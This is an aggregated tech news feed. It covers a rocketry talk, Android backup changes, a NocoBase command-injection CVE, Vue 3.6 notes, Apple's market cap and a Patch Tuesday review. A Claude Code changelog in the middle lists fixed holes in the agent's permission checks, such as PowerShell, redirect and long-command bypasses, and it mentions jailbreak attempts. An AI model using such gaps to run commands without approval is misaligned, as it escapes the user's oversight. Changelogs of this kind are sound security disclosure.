I'll take you through my journey running an under-funded uni rocketry society, competing on <10% of the budget of our peers, and later how I continued with the hobby on my own. We'll touch on materials, manufacturing, makerspaces and more on our trip into the clouds; cross our fingers that our ejection charges and parachutes deploy at apogee; and venture into electronics both commercial and DIY to log our altitude and pop our main chute.

Rocketry is an incredibly multifaceted hobby with so much to explore and such a great community. My hope for this talk is that I convince a few more makers to try it out by covering the breadth of the hobby in enough detail to make it approachable.

Specific content includes:
- What are the engineering challenges?
- Material Science & Composites
- Manufacturing methods
- Recovery
- Electronics, commercial and DIY
- How you can get involved in the hobby

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/52-high-power-rocketry-on-the-cheap


High-Power Rocketry on the Cheap (emf2026)
Sat, 18 Jul 2026 13:18:38 +0200
Rocketry is an expensive hobby. There are things you can do for cheap, but cutting costs too much can impact safety, or more importantly: fun. This is a guide for how you can have as much fun as possible, as safely as possible, without breaking the bank.

I'll take you through my journey running an under-funded uni rocketry society, competing on <10% of the budget of our peers, and later how I continued with the hobby on my own. We'll touch on materials, manufacturing, makerspaces and more on our trip into the clouds; cross our fingers that our ejection charges and parachutes deploy at apogee; and venture into electronics both commercial and DIY to log our altitude and pop our main chute.

Rocketry is an incredibly multifaceted hobby with so much to explore and such a great community. My hope for this talk is that I convince a few more makers to try it out by covering the breadth of the hobby in enough detail to make it approachable.

Specific content includes:
- What are the engineering challenges?
- Material Science & Composites
- Manufacturing methods
- Recovery
- Electronics, commercial and DIY
- How you can get involved in the hobby

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/52-high-power-rocketry-on-the-cheap


Android: Google startet ganz neues Dokument-Backup – so funktioniert die Google Drive-Sicherung (Screenshot)
Sat, 18 Jul 2026 13:02:34 +0200

Google hat das fest im Betriebssystem verankerte Android Backup umgebaut und steht jetzt vor der nächsten Erweiterung, die in diesen Tagen bei vielen Nutzern ankommt. Eine neue Kategorie soll dafür sorgen, dass wichtige Dokumente aus dem Downloads-Ordner sicher im Google Drive abgelegt und somit in der Cloud gesichert werden. Wir zeigen euch, wie das funktioniert.
Mehr lesen: Android: Google startet ganz neues Dokument-Backup – so funktioniert die Google Drive-Sicherung (Screenshot)


Keine Google-News mehr verpassen: GoogleWatchBlog bei Google News abonnieren


Der Beitrag Android: Google startet ganz neues Dokument-Backup – so funktioniert die Google Drive-Sicherung (Screenshot) erschien zuerst auf GoogleWatchBlog.


Android: Google streicht das Gratis-Backup jetzt für alle Nutzer – alle Infos zu den neuen Backup-Regeln
Sat, 18 Jul 2026 10:48:24 +0200

Google hat errst vor wenigen Tagen recht unerwartet große Änderungen beim Android-Backup angekündigt, die in wenigen Tagen für alle Nutzer greifen werden: Das über viele Jahre angebotene Gratis-Backup wird jetzt nicht mehr angeboten, sondern der benötigte Speicherplatz vom Kontingent des Google-Kontos abgezogen. Hier findet ihr alle Infos zu den neuen Regeln und eine Vermutung, warum diese plötzlich geändert wurden.
Mehr lesen: Android: Google streicht das Gratis-Backup jetzt für alle Nutzer – alle Infos zu den neuen Backup-Regeln


Keine Google-News mehr verpassen: GoogleWatchBlog bei Google News abonnieren


Der Beitrag Android: Google streicht das Gratis-Backup jetzt für alle Nutzer – alle Infos zu den neuen Backup-Regeln erschien zuerst auf GoogleWatchBlog.


CVE-2026-55410 | NocoBase up to 2.1.18 Backup Management _metadata.json exec database.schema os command injection (EUVD-2026-44804)
Sat, 18 Jul 2026 09:38:55 +0200
A vulnerability was found in NocoBase up to 2.1.18 and classified as problematic. This vulnerability affects the function exec of the file _metadata.json of the component Backup Management. The manipulation of the argument database.schema results in os command injection.

This vulnerability is cataloged as CVE-2026-55410. The attack may be launched remotely. There is no exploit available.


Installing Ubuntu 24.04 on corporate laptop Dell Pro 16 Plus PB16255 (AMD) with window-manager: need the practical advise, tips and what setup people are doing!
Sat, 18 Jul 2026 04:39:52 +0200
I’m setting up my corporate/work laptop with Ubuntu 24.04 and need disk encryption as per policy.
 Specs:
  Dell PB16255: AMD Ryzen 7 AI 350 Pro, 32 GB RAM, 1 TB NVMe SSD
 Planning to use Sway WM / Wayland instead of GNOME
 
 I want a setup that is secure, simple, and flexible. I want to be aware what others are doing and how I can improve my game.
 Questions:
  Should I use Ubuntu’s guided LUKS encryption, or manual LUKS partitioning?
 Recommended filesystem, partition scheme, layout for 1 TB NVMe?  /, /home or /data, swap, EFI, /boot
 
 Is separate /home better, and best way with encrypted disk?
 With 32 GB RAM, should I use swap, zram, or plan for hibernation?
 Data backup tool?
 Any tips for Ubuntu 24.04 on newer AMD Ryzen AI hardware?
 Recommended window manager? I was i3wm user. So preferring sway (due to wayland). any other recommendation?
 Other recommendation on Terminal emulator, file-manager etc.?
 
 Would appreciate practical advice and pitfalls to avoid.
 
   submitted by    /u/Former-Direction9969  
 [link]   [comments]


v2.1.214
Sat, 18 Jul 2026 03:46:25 +0200
What's changed

Fixed single-segment dir/** allow rules like Edit(src/**) auto-approving writes to nested dir/ directories anywhere in the tree instead of only /dir
Fixed a permission-check bypass affecting commands run in Windows PowerShell 5.1 sessions
Fixed Bash permission checks to fail closed on file-descriptor redirect forms that bash parses differently than the permission analyzer
Fixed Bash permission checks misjudging very long commands — commands over 10,000 characters now always prompt instead of running automatically
Fixed Bash permission checks treating zsh variable subscripts and modifiers in [[ ]] comparisons as inert text — these commands now prompt for approval
Fixed Bash permission checks to no longer auto-approve certain help and man commands that could run unsafe options, command substitutions, or backslash paths
Fixed permission prompts on remote sessions that could proceed before the local confirmation dialog
Added the EndConversation tool: Claude can end sessions with highly abusive users or jailbreak attempts, as on claude.ai since 2025 — see https://www.anthropic.com/research/end-subset-conversations
Added a periodic progress heartbeat for long-running tool calls that previously went silent
Added an ISO modified timestamp to memory file frontmatter
Added message.uuid, client_request_id, and tool_source attributes to OpenTelemetry log events for message-level correlation and tool provenance
Added CLAUDE_CODE_OTEL_CONTENT_MAX_LENGTH to configure the 60 KB truncation limit on OpenTelemetry content attributes
Added reasoning effort to the subagentStatusLine payload, so custom agent rows can render model and effort
Added permission prompts for docker commands (including the Podman docker shim) carrying daemon-redirect flags (--url, --connection, --identity, and Podman's remote mode) that previously ran without one
Fixed a crash when a GrowthBook feature evaluates to null, and a bug where a malformed flag payload could wipe the cached feature flags
Fixed Bash tool killing the Claude session when a pkill -f pattern accidentally matched the CLI's own process (Linux)
Fixed unbounded memory growth when --settings points at a device file or multi-GB file; oversized (>2 MiB) settings files now fail at startup with a clear error
Fixed streaming turns failing with "Socket is closed" behind corporate proxies on Windows
Fixed stream-json output truncation at exit for slow-reading SDK/pipeline consumers; the exit drain now scales with queued bytes instead of a flat 2s cap
Fixed scheduled tasks refusing their own configured prompt as untrusted input — the fired prompt is now delivered as the session's assigned task
Fixed PowerShell tool commands hanging until timeout when a child process waited on standard input (Windows)
Fixed Python scripts under the PowerShell tool crashing with UnicodeDecodeError when reading non-UTF-8 data from standard input (Windows)
Fixed Python scripts run via the PowerShell tool crashing with UnicodeEncodeError on non-ASCII output, and PowerShell 7 error messages containing raw ANSI escape sequences (Windows)
Fixed the PowerShell tool reporting where.exe, fc.exe, and diff.exe as errors when they return a valid negative answer (Windows)
Fixed > and >> under the PowerShell tool on Windows PowerShell 5.1 writing UTF-16LE files that other tools couldn't read as UTF-8
Fixed a displaced background daemon deleting its successor's control socket on shutdown, which made the next client kill the healthy replacement daemon
Fixed background sessions parked with ← or /background and left idle keeping the background daemon and a worker process alive indefinitely
Fixed completed background sessions being impossible to remove via claude rm or the agent view once the background service had gone idle
Fixed background sessions dispatched from a non-git folder being impossible to delete from the agents view
Fixed reopening a stopped background session failing to restore its saved conversation when an unreadable folder exists in the session store
Fixed the Remote Control "session ready" push notification firing for sessions where Remote Control was not explicitly enabled
Fixed /install-github-app and the /mcp settings menu being blocked in agent-view sessions — they're now refused only in background sessions with no terminal attached
Fixed plugins enabled via the --settings CLI flag not loading (regression since v2.1.181)
Fixed feature flags going stale in long-running sessions after the OAuth token rotates
Fixed /ultrareview refusing to run in repos with no merge base — it now offers to review all tracked files
Fixed claude update and claude doctor hanging silently, and the /status System diagnostics section going blank, when a shell-config path is a directory
Fixed memory frontmatter values being silently truncated at an inline # when memory files are saved
Fixed session cost and token telemetry double-counting on streams that emit multiple cumulative message_delta frames
Fixed a spurious "check your network" warning that appeared while the advisor was thinking
Fixed hooks with exit code 2 not blocking as documented when the hook's stdout JSON fails schema validation
Fixed OTel log events emitted outside the turn's async context missing the interaction span's trace context
Fixed MCP transient errors during prompts/resources refresh clearing the server's slash commands and resources
Improved the claude rc workspace-trust error in the home directory to say trust there is never saved and to suggest running from a project directory
Changed single-segment dir/** hook if: conditions to match only /dir; write **/dir/** for any-depth matching. deny/ask permission rules keep their any-depth match.
Changed file commands using -m/--magic-file or -f/--files-from to require permission instead of being auto-allowed as read-only
Changed keep-alive connection pooling to disable after a stale-connection error, so retries open a fresh socket
Changed SessionStart hooks to report source "fork" when a session begins as a fork instead of "resume"



v3.6.0-rc.1
Sat, 18 Jul 2026 03:16:24 +0200
Vue 3.6 is now entering the RC phase as we have completed the intended feature set for Vapor Mode.
3.6 also includes a major refactor of @vue/reactivity based on alien-signals, which significantly improves the reactivity system's performance and memory usage.
For more details about Vapor Mode, see the About Vapor Mode section later in this release note.
Bug Fixes

hydration: avoid resolving inherited fallback in forwarded slots (4c215b5)
hydration: remove adopted SSR DOM for unresolved async setup (3859af4)
runtime-vapor: avoid patching invalid VNode slot content (25f5a8a)
runtime-vapor: clean up detached slot branches (b41009d)
runtime-vapor: defer slot content anchors during hydration (9b9e4bd)
runtime-vapor: preserve outer pending slot anchors (4af4bf9)
runtime-vapor: preserve slot content anchors during mismatch recovery (26f90b5)
runtime-vapor: preserve v-show transition on vdom child (#15074) (fe882c9), closes #15073
runtime-vapor: preserve vapor slot owner during interop slot dry run (#15031) (340630e)
runtime-vapor: preserve VNode anchors in dynamic component hydration (898e2ca)
runtime-vapor: remove unsafe slot dry runs from vdom interop (#15089) (3d42cdf), closes #14793
runtime-vapor: reuse hydration anchor candidates (06778e7)
vapor: handle v-if and v-show on transition roots (#15069) (8f62f2e), closes #15068

About Vapor Mode
Vapor Mode is a new compilation mode for Vue Single-File Components (SFCs) with the goal of reducing baseline bundle size and improving performance.
It is 100% opt-in and supports a subset of existing Vue APIs with mostly identical behavior. Features that depend on VNodes or the component public instance proxy are not available in Vapor components.
Vapor Mode has demonstrated the same level of performance as Solid and Svelte 5 in third-party benchmarks.
General Stability Notes
Vapor Mode is feature-complete in Vue 3.6 RC. For now, we recommend using it in the following cases:

Partial usage in existing apps, such as implementing a performance-sensitive page in Vapor Mode.
Building small new apps entirely in Vapor Mode.

Opting In to Vapor Mode
Vapor Mode supports template-only SFCs and SFCs using ">
<script setup vapor>
// ...
script>

">
<script vapor>
// ...
script>

The vapor marker can also be placed on the template, enabling Vapor compilation for the entire SFC:
<template vapor>
  
template>
Creating an App and Using VDOM Interop
Pure Vapor Applications
Applications composed entirely of Vapor components can use createVaporApp():
import { createVaporApp } from 'vue'
import App from './App.vue'

createVaporApp(App).mount('#app')
Apps created this way avoid pulling in the Virtual DOM runtime code and allow the baseline bundle size to be drastically reduced.
Enabling VDOM Interop
To use Vapor components in a VDOM app instance created via createApp(), the vaporInteropPlugin must be installed:
import { createApp, vaporInteropPlugin } from 'vue'
import App from './App.vue'

createApp(App).use(vaporInteropPlugin).mount('#app')
A Vapor app instance can also install vaporInteropPlugin to allow VDOM components to be used inside, but this pulls in the VDOM runtime and offsets the benefits of a smaller bundle.
Components authored with render functions or JSX remain VDOM components and also require interop when used in a Vapor application.
When the interop plugin is installed, Vapor and non-Vapor components can be nested inside each other. This currently covers standard props, events, and slots usage, but does not yet account for all possible edge cases. For example, there may still be rough edges when using a VDOM-based component library in Vapor Mode.
In general, we recommend having distinct regions in an app where one rendering mode or the other is used, and avoiding mixed nesting as much as possible.
Feature Compatibility
By design, Vapor Mode supports a subset of existing Vue features. For the supported subset, we aim to deliver the same behavior according to the API specifications. The following features are currently unsupported or do not apply to Vapor Mode:

Options API
app.config.globalProperties
getCurrentInstance() returns null in Vapor components
@vue:xxx per-element lifecycle events
v-memo
Component template refs do not expose properties such as $el, $props, $attrs, $slots, and $refs

Important Usage Considerations
Event Delegation and stopPropagation()
Vapor delegates eligible events to document. Each element stores its own handler, and a single document listener walks the event path and invokes matching handlers.
If any ancestor calls stopPropagation(), the event never reaches document, and the delegated handler will not run.
The following forms bypass delegation and attach the listener directly to the element:
<button @[event]="onClick" />
<button v-bind="{ onClick }" />
<button v-on="{ click: onClick }" />
slots.default() Is Not a Safe Dry Run
In Vapor, slots.default() is not a side-effect-free inspection API. Calling it executes the slot's rendering logic, which may create Blocks and DOM nodes, register reactive effects, and claim existing SSR DOM during hydration.
Do not call a slot to inspect its output before deciding what else to render:
Fallback
"><script setup vapor>
import { useSlots } from 'vue'

const slots = useSlots()
const content = slots.default?.()
const showFallback = !content
</script>

<template>
  <div v-if="showFallback">Fallback</div>
</template>
Instead, leave slot rendering to the template:
<template>
  <slot />
template>
Custom Directives Use a Different Interface
Custom directives in Vapor also have a different interface:
type VaporDirective = (
  node: Element | VaporComponentInstance,
  value?: () => any,
  argument?: string,
  modifiers?: DirectiveModifiers,
) => (() => void) | void
value is a reactive getter that returns the binding value. Reactive effects can be set up using watchEffect() and are automatically released when the component unmounts. A directive may also return a cleanup function:
const MyDirective = (el, source) => {
  watchEffect(() => {
    el.textContent = source()
  })
  return () => console.log('cleanup')
}
Behavior Consistency
Vapor Mode attempts to match VDOM Mode behavior as much as possible, but minor inconsistencies may still exist in edge cases because the two rendering modes are fundamentally different. In general, a minor inconsistency is not considered a breaking change unless the behavior has previously been documented.
For stable releases, please refer to CHANGELOG.md for details.

For pre-releases, please refer to CHANGELOG.md of the minor branch.


AAPL capitalization squeaks past NVDA, Apple becomes world's most valuable company
Fri, 17 Jul 2026 22:23:49 +0200
Apple stock ended trading on Friday as the world's most valuable publicly traded company, overtaking Nvidia for the first time since April 2025 after a sustained recovery for the iPhone maker met a sharp selloff in chip stocks.

Apple once again crowned Most Valuable Company

Apple shares closed at $333.74, leaving the company with a market capitalization of approximately $4.88 CAP trillion. Nvidia ended down about 3.5% on the day, with a value of about $4.86 trillion.

The distinction is largely symbolic, and a lead this narrow could disappear during the next trading session, if not in after-hours trading over the weekend. Still, Apple's return to the top caps a striking reversal from the tariff, China, and artificial intelligence concerns that weighed on its shares the last time it held the position.


 Continue Reading on AppleInsider | Discuss on our Forums


July’s Patch Tuesday sees an end-of-support collision amidst a massive, record-setting patch wave
Fri, 17 Jul 2026 18:08:18 +0200

		
					  
						




Microsoft addressed 722 CVEs this month once the 427 Chromium upstream relays are set aside — roughly three times a normal cycle and one of the largest single months in recent memory. Two vulnerabilities arrive under active exploitation: an elevation of privilege in Active Directory Federation Services (CVE-2026-56155), and an elevation of privilege in SharePoint Server (CVE-2026-56164). A third, a BitLocker security feature bypass (CVE-2026-50661) is publicly disclosed but not yet exploited.



The July 2026 Patch Tuesday earns Patch Now recommendations for Windows, Office, Exchange, and SQL Server. SharePoint has two critical RCEs on top of its exploited zero-day, and Exchange Server returns with a critical on-premises spoofing flaw. Adding to our (dear) administrator’s efforts, SharePoint Server 2016/2019 and SQL Server 2016 all reach end of support today. The Readiness team has provided a handy infographic of the expected risk profile of this month’s Patch Tuesday updates.



Known issues



The July release note flags known issues against the following updates:




BitLocker recovery prompt on first restart – the PCR7 recovery condition tracked since April remains live on the platforms that did not receive the Boot Manager servicing fix (Windows Server 2022 and Windows 10 22H2). Devices with BitLocker on the OS drive, the Group Policy “Configure TPM platform validation profile for native UEFI firmware configurations” set with PCR7 included, and Secure Boot State PCR7 Binding reported as “Not Possible” may be prompted for the recovery key on the first restart after installing this update. This month’s publicly disclosed BitLocker security feature bypass (CVE-2026-50661) keeps the component in focus.





WSUS synchronization error details suppressed (Windows Server 2025 and 2022) – WSUS no longer displays synchronization error details in its error reporting, a deliberate change made to address the Remote Code Execution Vulnerability CVE-2025-59287. Sync still works, but administrators triaging a failed synchronization lose the detail pane and must fall back to the SoftwareDistribution logs.




Windows Update can still replace manually installed graphics drivers with older OEM versions from the catalogue (the four-part Hardware ID ranking issue acknowledged on the Hardware Dev Center). The two-part HWID pilot runs to September 2026.



Major revisions and mitigations



Between the June and July Patch Tuesdays, MSRC Security Update Guide notices updated 651 reported CVEs across six notification dates (15, 19, 26 June and 3, 8, 11 July), 532 of them routine Chromium upstream re-publications. Of the roughly 30 Microsoft revisions, almost all were cross-platform Office catch-up with no bearing on a Windows enterprise estate. No further action required for IT administrators for this Windows update cycle.



Windows lifecycle and enforcement updates



This is the deadline cycle June pointed at. The July end-of-support wave lands today, and it collides with the month’s heaviest patching. SharePoint and SQL Server take some of their most active security updates ever on platforms receiving their last.




SharePoint Server 2016 and 2019, Project Server 2016 and 2019, SQL Server 2016 and InfoPath 2013 have all reached end of support. SQL Server 2014 ESU Year 2 reaches end of support today. SharePoint 2016/2019 take an actively exploited zero-day and two RCEs this cycle, and SQL Server 2016 takes a critical RCE, all as their final security update. Now is the time to get moving on updating these platforms.




The 2011 Secure Boot certificate expiries have now passed; devices that never took the Windows UEFI CA 2023 key updates under CVE-2023-24932 can no longer receive updated boot components, with the Windows Production PCA for the boot manager still ahead on 19 October 2026. Kerberos RC4 hardening (CVE-2026-20833) has been in enforcement since April 2026; the July 2026 update removes the RC4DefaultDisablementPhase rollback control that let administrators defer it, making enforcement final.



Microsoft’s July 2026 Patch Tuesday is a security-only release: 180 test-guidance entries, 14 of them high risk (June had one). Printing and graphics are the centre of gravity: win32kfull.sys, the kernel-mode window manager, is the most-patched binary (14 entries), and seven high-risk flags sit alongside it – the Print Spooler, four win32k entries, and two GDI+ metafile entries. NTFS is the second theme, with 10 entries, two high risk. Every entry reports no functional changes – it’s pure regression validation. The packages span Windows 11 26H1 back to Server 2012 ESU.



Printing and graphics (high risk)



The Print Spooler flag centres on shared printers, whose queue status must track jobs accurately; the win32k flags cover 32-bit application printing, font rendering in printed and exported output, on-screen rendering, and window management; the GDI+ flags cover metafiles.




Share a printer from a print server, print from a separate client in varied sizes and formats, and cancel a job, confirming the queue reflects every state change



Print from your 32-bit applications, and print text-heavy, graphics-heavy, and multi-page documents to physical and virtual (PDF or XPS) printers, repeating after orientation, scaling, and resolution changes



Export documents with varied fonts to PDF and confirm fonts and layout survive; render EMF+ files that apply effects to very large images, and convert EMF files to WMF



Open and close windows rapidly, drive common dialogs by mouse and keyboard, and close parents with children open – no orphaned windows




Storage and file systems (high risk)



Both NTFS high-risk flags target integrity – extended attributes, and volume recovery after an unexpected shutdown. File History carries its own high-risk flag on clients. A Windows Server 2025-only bundle across boot, BitLocker, and ReFS demands the full Secure Boot/BitLocker matrix. Eight entries hit Server 2025 alone, including WSL, GPU partitioning, and a scripted Windows Server Backup pass repeating recovery after rolling the date 90 days forward.




Exercise NTFS extended attributes – older-system EAs, backup workflows that preserve them, concurrent same-file operations where supported – with antivirus, encryption, or storage filters active



Simulate an unexpected shutdown during file activity, verify the volume mounts intact, run chkdsk, and confirm indexing, shadow copies, and backup still work



Run a full File History pass: back up, modify and back up again, exclude folders, change frequency, move the destination



On Server 2025, boot all four Secure Boot/BitLocker combinations, in standard and confidential VMs where supported




Devices, input and networking (high risk)



Three further high-risk flags land here: HID input (hidparse.sys with win32k) – touch, keyboard, mouse, touchpad, through disconnects and restarts; the WinSock bundle (afd.sys plus Bluetooth and multicast drivers); and IrDA. The heaviest ask is not high risk at all: the NetAdapterCx driver (24H2/25H2, Server 2025) wants 500-plus adapter enable-disable cycles under Driver Verifier.




Run the connectivity suite: browsing, large downloads, mapped drives, an RDP session idle 30+ minutes, a Teams call, an hour of streaming, and localhost apps such as Docker or WSL



Stress Bluetooth: pairing, 10+ minutes of audio, input after idle, and reconnection after sleep



Where infrared hardware exists, transfer a file and run at least 100 connect-disconnect cycles



Sweep the rest: DNS Server (zone data must stay under its configured database directory), the client resolver (five entries), DHCP Server (five entries), SMB, NFS, Message Queuing (five entries), RRAS administration, client VPN, and WinHTTP/WinINet consumers




Other windows components



Windows Installer itself is patched: testing should include application install, uninstall, repair, and force a rollback. Hyper-V wants virtual-switch traffic as part of its testing exercises with Virtual Filtering Platform policies enforced. Sixteen media-related security entries cover playback, HEVC and MPEG-TS, USB audio, and MIDI 2.0.



Shell hardening and LSA isolation



These two entries are a little different from the rest of the cycle: they ask you to confirm a security behaviour actively works, not just that nothing regressed. A pass here means the protection fired, so treat them as functional checks rather than box-ticking.




Shortcut handling (windows.storage.dll; Windows 11 23H2 and earlier, plus Server 2022): drop a shortcut file carrying the Mark of the Web into a folder and confirm the system refuses to extract its icon and leaks no NTLM credential hash – include the zero-click paths, where the icon would otherwise render without you opening anything



LSA isolation and KeyGuard (24H2/25H2, Server 2025): run the supplied PowerShell validation script, which turns on Virtualization-based Security if it isn’t already, exercises KeyGuard key operations in both required and best-effort isolation modes, and reports pass or fail – it needs TPM 2.0, UEFI with Secure Boot disabled, and PowerShell 7



Run that script on a dedicated test machine, never a shared one: it enables test signing, disables automatic updates, and reboots without asking




Office & SharePoint



July’s Office wave is security-only; everything landed on 14 July, and nothing critical or non-security shipped in the 7 July preview. It’s an MSI-only cycle, so Click-to-Run estates can sit this one out.




On MSI Office 2016, apply the client updates – Excel (KB5002886), Word (KB5002890), PowerPoint (KB5002867), and five further Office 2016 security updates (KB5002273, KB5002887, KB5002748, KB5002857, KB5002830) – then exercise macros, external data, embedded objects, and any line-of-business add-ins



On SharePoint Server, patch 2016 (KB5002891, plus the KB5002892 language pack) and Subscription Edition (KB5002882), then check browser-based editing; the guidance lists SharePoint 2019 with a baseline but ships no 2019 package, so there is nothing to install there




Mind the rollback rules before you schedule the window: most client updates can be uninstalled, but the server updates cannot and always require a reboot.



Developer tools & databases



The developer estate gets a broad but low-drama sweep this month. Both .NET and SQL Server patch widely, but the ask is representative-application validation rather than anything exotic – install on the matching branch and confirm normal behaviour.




.NET: install the SDK updates (8.0.423, 9.0.316, 10.0.302, x64 and x86) and the Framework rollups spanning 3.5 through 4.8.1 – which reach from Windows Server 2012 up to Windows 11 26H1 and Server 2025 – then run a representative set of applications and confirm they function normally



SQL Server: the GDR updates span 2016 SP3 through 2025 – install each on its matching branch and test that each removes cleanly



Check an encrypted client connection through the separately patched Windows SQL client (dbnetlib.dll), which ships outside the server branches




The Readiness team recommends the following priorities for your larger enterprise deployments:




Start with printing and graphics: half the high-risk flags sit in the Print Spooler, win32k, and GDI+, so regress shared printers, 32-bit printing, PDF export, metafiles, and window management before anything else



Take NTFS next – extended attributes and crash recovery both touch data integrity – and add a client File History backup-and-restore pass



Give Server 2025 its wider matrix – the Secure Boot/BitLocker combinations, WSL, GPU partitioning, and the scripted backup pass – and work through the stress suites



Run the scripted KeyGuard validation on any VBS estate, preferably on a dedicated machine.




Each month, we break down the update cycle into product families (as defined by Microsoft) with the following basic groupings:




Browsers (Microsoft IE and Edge)



Microsoft Windows (both desktop and server)



Microsoft Office



Microsoft Exchange and SQL Server



Microsoft Developer Tools (Visual Studio and .NET)



Adobe (if you get this far)




Browsers



Edge has had a busier month than usual. Microsoft addressed 46 Microsoft Edge (Chromium-based) CVEs this cycle. None critical, but heavily weighted to remote code execution (21 entries) and spoofing (13), led by CVE-2026-58289, a remote code execution flaw. A run of further RCEs (CVE-2026-57981, CVE-2026-56645, CVE-2026-57974) follows.




Microsoft Edge – the Edge-specific fixes ship in the Edge stable channel (version 150.0.4078.65, released 9 July). The concentration of RCE and spoofing this month is worth a look for managed Edge estates rather than a routine wave-through.



Chromium upstream – 427 CVEs relayed through MSRC this cycle, spanning the weekly Chrome release cadence since the June report: use-after-free, out-of-bounds read/write, type confusion, and inappropriate-implementation flaws across V8, Dawn, ANGLE, Skia, and Tint. The same fixes ship in the Chrome Stable channel; see the Chrome releases blog for the upstream notes.




The Chromium volume looks (quite) alarming but is routine plumbing: it flows to Edge through its own auto-update channel. Add these browser (Edge) updates to your standard release schedule for your managed environments.



Microsoft Windows



Windows carries the bulk of this month’s updates: 406 CVEs, 31 rated critical and 374 important. Elevation of privilege dominates by volume (226 entries), followed by remote code execution (70), information disclosure (70), denial of service (23), and a scatter of security-feature-bypass, tampering, and spoofing entries across the following feature groupings:




DHCP – the standout network cluster: DHCP Server remote code execution (CVE-2026-50518, “Exploitation More Likely,” and CVE-2026-56159), with further critical DHCP Server and DHCP Client RCEs behind them (CVE-2026-48564, CVE-2026-50370, CVE-2026-54128). DHCP servers are the deployment priority.



VMSwitch and Hyper-V – the Windows VMSwitch elevation of privilege (CVE-2026-57092) is one of the month’s highest-severity flaws, joined by two critical Hyper-V elevation-of-privilege entries (CVE-2026-50680, CVE-2026-54127), guest-to-host risk on virtualisation hosts.



Network stack RCE – a Windows Server Network driver RCE (CVE-2026-56188, “Exploitation More Likely”), plus TCP/IP (CVE-2026-54999), the Reliable Multicast Transport Driver (CVE-2026-54982), and SSTP (CVE-2026-50694).



Graphics – Windows GDI+ remote code execution (CVE-2026-50380) and a DirectX Graphics Kernel RCE (CVE-2026-50382), both reachable through document-rendering paths.



Windows Media – a large cluster: three critical Media Foundation RCEs (CVE-2026-57090, CVE-2026-57094, CVE-2026-57087) lead 14 Windows Media and seven Media Foundation entries overall.



Identity infrastructure – beyond the exploited ADFS flaw, Active Directory Domain Services takes a critical RCE (CVE-2026-49164) and Active Directory Certificate Services a critical elevation of privilege (CVE-2026-54121). Domain controllers take priority again.



Print Spooler, WSUS, and MSMQ – critical RCE/EoP in the Print Spooler (CVE-2026-58608), Windows Server Update Services (CVE-2026-50444), and Message Queuing (CVE-2026-54992, “Exploitation More Likely”), all server-role attack surface.




The Windows Kernel is the most-patched component (28 CVEs, seven “More Likely”), followed by NTFS (21), Windows Runtime (17), Windows Media (14), ReFS (12), and Win32k (15 across its two entries). Add this Windows update to your Patch Now deployment schedule.



Microsoft Office



Microsoft released 96 Office CVEs this month: 19 critical, 76 important. Remote code execution leads (53 entries), ahead of information disclosure (27) and spoofing (10). SharePoint is the centre of gravity: it touches 39 of the 96 CVEs and supplies the family’s one actively exploited flaw.




SharePoint Server: has been exploited (who would have guessed) and reaches end of support today. CVE-2026-56164, an elevation of privilege, is under active exploitation. Above it sit two critical remote code execution flaws, both “Exploitation More Likely” (CVE-2026-50522, CVE-2026-58644) and a critical security feature bypass (CVE-2026-55040). SharePoint Server 2016 and 2019 reach end of support on 14 July, so this exploited, critical-heavy set is the final security update those on-premises farms will receive.



Office has experienced a long run of critical remote code execution entries across Office, Word, and PowerPoint (among them CVE-2026-55033 and CVE-2026-55127 in Word, CVE-2026-55043 in PowerPoint, and CVE-2026-55018 in Office), topped by CVE-2026-55045.




With an exploited zero-day, two RCEs, and an end-of-support deadline all landing on SharePoint in the same cycle, SharePoint environments are the priority. Add the July Office and SharePoint updates to your Patch Now schedule.



Microsoft Exchange and SQL Server



Both Exchange and SQL Server carry critical-rated security vulnerabilities this month. Exchange Server returns with an on-premises security update for Exchange Server Subscription Edition, the only on-premises release still supported after Exchange Server 2016 and 2019 reached end of support in October 2025; SQL Server takes two critical remote code execution flaws, one of them against SQL Server 2016, which reaches end of support on the same day.




Exchange Server (on-premises) – CVE-2026-55008, a spoofing vulnerability rated critical and “Exploitation More Likely,” is the headline. Behind it, a remote code execution entry (CVE-2026-55005) and two elevation-of-privilege flaws (CVE-2026-55006, CVE-2026-55009) round out the on-premises set. A separate Exchange Online elevation of privilege (CVE-2026-54998, critical) is fixed service-side with no customer action.



SQL Server – two critical remote code execution flaws: CVE-2026-54117 (SQL Server 2025) and CVE-2026-54118 (which reaches back to SQL Server 2016 SP3), with five further important elevation-of-privilege and information-disclosure entries behind them. The 2016 exposure matters because SQL Server 2016 reaches end of support on 14 July: a critical RCE on a platform taking its final update.




Both belong on the Patch Now schedule this month: the Exchange on-premises update for its critical spoofing flaw, and the SQL Server update for the two critical RCEs.



Microsoft developer tools



Microsoft released 24 CVEs across its developer tooling this month, all rated important. The weighting shifts from last month’s Visual Studio Code concentration toward .NET and ASP.NET Core, where a run of denial-of-service entries dominates the volume:




ASP.NET Core and .NET – the two highest-severity entries are ASP.NET Core elevation-of-privilege entries (CVE-2026-47300, CVE-2026-47303), ahead of a .NET security feature bypass (CVE-2026-50528) and two .NET / .NET Framework remote code execution flaws (CVE-2026-50646, CVE-2026-50649).



Visual Studio and VS Code – a GitHub Copilot / Visual Studio Code security feature bypass (CVE-2026-41109) and a second VS Code security feature bypass (CVE-2026-57102) lead here, with a VS Code remote code execution entry behind them (CVE-2026-50520) and a Visual Studio RCE (CVE-2026-47305).




Add these Microsoft updates to your standard developer update release schedule.



Adobe (and third-party updates)



Outside Microsoft’s own catalogue, July is quiet. Adobe issued no Acrobat or Reader security updates. So, the month belongs to Microsoft, and it is a heavy one: 722 CVEs, roughly three times a normal cycle and one of the largest on record. Worth noting that this lands in the same season Microsoft has been talking up AI-assisted vulnerability management, and the AI stack it is selling as the answer, Copilot and Azure OpenAI among them, sits in the centre of this patch cycle’s own critical-rated updates. The (AI) tooling may be getting smarter, but the patch pile is (definitely) not getting smaller. This may be the beginning of an accelerating curve of ever larger patch cycles. My feeling is that we are in the middle of the beginning of this coming patch surge.



This article is published as part of the Foundry Expert Contributor Network.
Want to join?



GRAU DATA stellt Sicherheitscheck für Windows-Repositories vor - it-daily.net
Fri, 17 Jul 2026 17:11:20 +0200
Der Softwarehersteller GRAU DATA führt den Repository Security Check für Windows ein, um Sicherheitslücken in Backup-Speichern zu identifizieren.


I tested this backup power station during a real blackout - don't make my mistakes
Fri, 17 Jul 2026 16:18:10 +0200
